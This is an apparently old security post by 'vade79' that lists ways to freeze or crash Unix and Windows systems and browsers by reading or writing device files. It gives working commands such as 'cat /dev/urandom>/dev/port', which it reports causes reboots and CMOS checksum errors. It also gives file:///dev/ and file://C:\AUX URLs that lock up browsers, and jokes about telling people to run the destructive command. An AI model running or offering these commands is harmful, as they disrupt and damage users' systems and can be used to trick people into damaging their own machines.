Documentation on possibilities to freeze/deny service to applications and daemons via reading devices on unix/windows based operating systems. (unix note: most of these device calls don't require root, on most dists) (UNIX TEST START) As of late, with the MS Windows device problems with /dev/dev(\dev\dev). I thought about unix and its possibilities, so here are some of the things I came up with. First, local executions: (note: I used urandom to hit errors and output garbage quickly to create errors if it was going to at all) exec : cat /dev/urandom>/dev/port (kinda fun to tell people to do :)) result: reboot+core errors -> CMOS checksum errors. uid : root. exec : cat /dev/urandom>/dev/mouse OR cat /dev/urandom>/dev/gpmdata result: mouse locked and sometimes console/output(in X) becomes un-usable. uid : non-root/root, depends on the dist/version. exec : cat /dev/urandom>/dev/midi result: large amount of lag. (mouse+console) uid : non-root/root, depends on the dist/version. exec : cat /dev/urandom>/dev/zero result: large amount of lag. uid : non-root/root, depends on the dist/version. exec : cat /dev/urandom>/dev/audio result: send misc noise to the speakers and minimal lag. uid : non-root/root, depends on the dist/version. exec : cat /dev/urandom>/dev/zero OR cat /dev/zero result: large amount of cpu usage. (similar to a fork() flood) uid : non-root. Of course there are others not listed, but these were the most effective of the bundle I tried. Now, ways to freeze/deny service to Netscape/lynx/etc. url : file:///dev/mouse OR file:///dev/gpmdata Netscape: random/frozen mouse+browser. Lynx : similar results. uid : non-root/root, depends on the dist/version. url : file:///dev/tty? (? = number/null) Netscape: frozen browser+output/console. (tested in X) Lynx : frozen browser, but breakable. uid : non-root. url : file:///dev/stdin OR file:///dev/stdout Netscape: frozen browser. (only with stdout) Lynx : frozen browser. uid : non-root. ..and so on. Here is some simple html code to test out on yourself, if desired. -- testunixdev.html begin -- click to check unix device:

device: mouse and/or gpmdata. (these should randomize/freeze the mouse(usually)+browser)

device: audio and/or midi. (conflicting results)

device: zero and/or urandom. (these should just load alot garbage)

device: stdin and/or stdout. (these should freeze the browser(stdout))

device: tty, tty0(usually), tty1, tty2, tty3, tty4, tty5, tty6. (this freezes console/output, depending on tty)

-- testunixdev.html end -- Or, of course, you can just list your devices and test locally -> file:///dev/. (UNIX TEST END) (WINDOWS TEXT START) Also, I noticed in MS Windows similar read errors trying to access devices such as AUX, PRN, CON, COM#, LPT# and so on. For example: The URL "file://C:\AUX" freezes IE and often makes explorer come to a halt in 95/98(also works on NT, but doesn't tie up the system). Also, trying to write data to AUX(best with +63/64 bytes) freezes apps/etc. (NOTE: THIS IS DIFFERENT THAN THE /DEV/DEV(\DEV\DEV) BLUE SCREEN EXPLOIT) That's about it. (WINDOWS TEXT END) vade79 -> _v9[v9@fakehalo.org]